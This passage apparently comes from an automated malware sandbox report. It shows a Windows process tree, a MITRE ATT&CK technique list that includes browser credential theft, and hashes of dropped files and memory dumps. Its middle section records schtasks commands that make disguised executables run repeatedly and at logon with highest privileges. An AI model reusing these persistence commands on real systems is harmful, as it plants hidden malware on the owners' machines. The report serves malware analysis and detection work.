        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5692 /prefetch:8
        5⤵
        
        PID:5196
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5692 /prefetch:8
        5⤵
        
        PID:5480
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3860 /prefetch:1
        5⤵
        
        PID:5492
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3492 /prefetch:1
        5⤵
        
        PID:5500
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
        5⤵
        
        PID:5924
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3540 /prefetch:1
        5⤵
        
        PID:6052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1780 /prefetch:1
        5⤵
        
        PID:5844
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
        5⤵
        
        PID:5956
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5932 /prefetch:2
        5⤵
        
        PID:1668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Users\Default\PrintHood\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default\PrintHood\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Users\Default\PrintHood\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Desktop\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Users\Default\Desktop\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Desktop\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 6 /tr "'C:\Program Files\dotnet\host\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\dotnet\host\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 12 /tr "'C:\Program Files\dotnet\host\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4652

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3860

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:860

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:5000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\dotnet\host\backgroundTaskHost.exe

Filesize
1.7MB

MD5
62795baa32b23a03e6289f18ccdb80ee

SHA1
0c4ffef007267e9a9741d2d55e1e0fb83bf13597

SHA256
ab6b0d999b25352f4cfedd7cc728a387b189498eedcafa1db44c66cffdeaa2df

SHA512
8d05983ceb2f9c226e083e4784b6590bc588104c47a117588bafa84b5e9452853798356fe38e8de0e31ea1ec5ccd22825eecf04fa7a54a77f3f727ec9f12f2de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
719923124ee00fb57378e0ebcbe894f7

SHA1
cc356a7d27b8b27dc33f21bd4990f286ee13a9f9

SHA256
aa22ab845fa08c786bd3366ec39f733d5be80e9ac933ed115ff048ff30090808

SHA512
a207b6646500d0d504cf70ee10f57948e58dab7f214ad2e7c4af0e7ca23ce1d37c8c745873137e6c55bdcf0f527031a66d9cc54805a0eac3678be6dd497a5bbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7114a6cd851f9bf56cf771c37d664a2

SHA1
769c5d04fd83e583f15ab1ef659de8f883ecab8a

SHA256
d2c75c7d68c474d4b8847b4ba6cfd09fe90717f46dd398c86483d825a66e977e

SHA512
33bdae2305ae98e7c0de576de5a6600bd70a425e7b891d745cba9de992036df1b3d1df9572edb0f89f320e50962d06532dae9491985b6b57fd37d5f46f7a2ff8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
17866f417e3953544782018ca7d709e5

SHA1
91766ea352fa93145002c6685505c08e96a6ed2d

SHA256
bd119dafbfc16404ebcb260a779a2b37e71f57d2d27a0104f3be4875ef9f2129

SHA512
61a4c4b30b462164197cbc292ef386a02c54329c0284a2252feb156927ebbb2bf152a1563ca43e1bc130cf0764963fcb0775f710c8a4e25cd10e768cc80d3c1a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5b28af0aa869b848d0dc7ecc6130a1aa

SHA1
561b5154f7aa271c24277fa2909c7490b4575464

SHA256
16ae07b4632f51ab1d42fc89024039859392c04feccee73a05ad7ff2b9d11131

SHA512
26f6d15e4e5b00aeae5cf5a4c8caa812b6bfce2439a84c9e98b1f7722c0c9134c644d825467e561f930b3bdb573193873694acff1f14e6f290c0a363300d1a55

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
017eaa9369615141d05f5ddda9791f06

SHA1
99debc70a56ad20472a6e3926a0a6491a5e645db

SHA256
a2dd7fae7caab19038497c7849192fef0f8cc1bc969dd76ff502c521768eb060

SHA512
2af75297267fa582159ff3ad97761838a24d521f510fcc8a490dc582c51e11484d28f345d3bd4da2b020e66cd163ed60bf982a7bbf2b3e5343c464ac2fb32713

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
adfd409987a6392a294b0d6591207a38

SHA1
85f32fd022c7d922be2246f2a8f1e3625e6c4df2

SHA256
f289db51bf9351e868f5c7cfd361313bb445d0228e931219181a903c3d2ae046

SHA512
5c651c44f496a97a6adab77e8c6e8135ce6eff627ac3d0349d5e11f19199373d845d4f7a85994eaca865415eedba29d12a3abb8501d7a6eaab2489952e9e2acb

Download Submit
C:\Users\Admin\AppData\Local\Temp\8FLB8gIG8n.bat

Filesize
207B

MD5
4535666e3f040aa0d497345db9539dd4

SHA1
d9d3966e81dd9cbe105d3432f43432832cefd499

SHA256
b656145ea855d3fac96fec329c5921c89c2b65629726f7628384846c181720d1

SHA512
b3ec6515fe200b1a552ef4cd53fb85a28072e94b6aabc673519f5abf7518a89615578c084f79a42c3773b559f18e6fb7c9916f9d8b3109f7485fb12131e958ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\dfeabd11-02cb-4c25-a31f-e4924af5f169.vbs

Filesize
494B

MD5
445749710012d4468e113280e25612c6

SHA1
e93877a852e6d92d8a6e7e1fef52f477fc956b20

SHA256
72a4b023920aad44376594d2539a210c2f8a1cc0a40da3b0876f0f7fec57bee2

SHA512
7ad0dbed76a4ad09aa6b4d8ef50afa0a088b90628b73ea30ef2c6854f14f58dfdff42367599ed4f572f6ec4a1ab3e6c61185f7e03241842625760f852adba295

Download Submit
C:\Users\Admin\AppData\Local\Temp\f2461312-cf02-434a-80ca-1580796ac2da.vbs

Filesize
718B

MD5
3a23403b534e734561591826fe276710

SHA1
f9c7ce5413510ea2712e12493fa7f1d59ce5cfab

SHA256
f892156221b4a074e0013014bf9eab7d7a7321fa1524adfd2044cb5f2153eff4

SHA512
798acbcbd912b89b21b6392b54d21e461ae01596b814f6476f15314ed9dfca4792fc546502ed27b5bb2e6a96bceae877aa725e6d010f33d804fa22e13d6fb6f3

Download Submit
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\fontdrvhost.exe

Filesize
1.7MB

MD5
1d98bb52c2eeac75f2e83e8b0b88459f

SHA1
ab0db0eca10717ad295b4c015db9d51c20bda41d

SHA256
6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d

SHA512
bb05cf51b6b7b4318bf81b9cc5831e558018d7f2347429ca4513454f06ff3ba5c77b90f82fe533dd5ca60139b059daf65d752b5648c702d2ff4af6e648421e26

Download Submit
C:\Users\Default\Desktop\RCX8D51.tmp

Filesize
1.7MB

MD5
274aec1dc6b1373db8691f5ebee16129

SHA1
46b6476c005cacd0585473d9ffdc64584d4903ea

SHA256
127d3aaf0e2c58393e4faf95ab608ea0153366e54fc6060a7f651af0e89636bc

SHA512
7fba986a6ffae4d5b8f426fd5f3eb02878199fbca2edb7b8e586c1faca13517daee3712d763f78c455fe990cbcf1b9bbffc2ea7075cf48f6e1e4605d0d5ea116

Download Submit
\??\pipe\LOCAL\crashpad_2952_UEOREIQQCICSGPDS

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/908-12-0x000000001B4D0000-0x000000001B4DA000-memory.dmp

Filesize
40KB

Download
memory/908-10-0x000000001B450000-0x000000001B45C000-memory.dmp

Filesize
48KB

Download
memory/908-15-0x000000001BE10000-0x000000001BE1C000-memory.dmp

Filesize
48KB

Download
memory/908-13-0x000000001BCF0000-0x000000001BCFE000-memory.dmp

Filesize
56KB

Download
memory/908-0-0x00007FFC00D93000-0x00007FFC00D95000-memory.dmp

Filesize
8KB

Download
memory/908-21-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/908-18-0x000000001BE70000-0x000000001BE7A000-memory.dmp

Filesize
40KB

Download
memory/908-17-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/908-14-0x000000001BE00000-0x000000001BE0E000-memory.dmp

Filesize
56KB

Download
memory/908-85-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/908-11-0x000000001B460000-0x000000001B468000-memory.dmp

Filesize
32KB

Download
memory/908-16-0x000000001BE60000-0x000000001BE68000-memory.dmp

Filesize
32KB

Download
memory/908-9-0x000000001B440000-0x000000001B44C000-memory.dmp

Filesize
48KB

Download
memory/908-1-0x0000000000720000-0x00000000008D8000-memory.dmp

Filesize
1.7MB

Download
memory/908-2-0x00007FFC00D90000-0x00007FFC01851000-memory.dmp

Filesize
10.8MB

Download
memory/908-7-0x000000001B420000-0x000000001B436000-memory.dmp

Filesize
88KB

Download
memory/908-8-0x00000000011F0000-0x00000000011FC000-memory.dmp

Filesize
48KB

Download
memory/908-6-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

Filesize
64KB

Download
memory/908-5-0x000000001B480000-0x000000001B4D0000-memory.dmp

Filesize
320KB

Download
memory/908-4-0x00000000011D0000-0x00000000011EC000-memory.dmp

Filesize
112KB

Download
memory/908-3-0x0000000000FA0000-0x0000000000FAE000-memory.dmp

Filesize
56KB

Download
memory/4476-100-0x000000001DE80000-0x000000001E3A8000-memory.dmp

Filesize
5.2MB

Download
memory/4476-99-0x000000001C9C0000-0x000000001CB82000-memory.dmp

Filesize
1.8MB

Download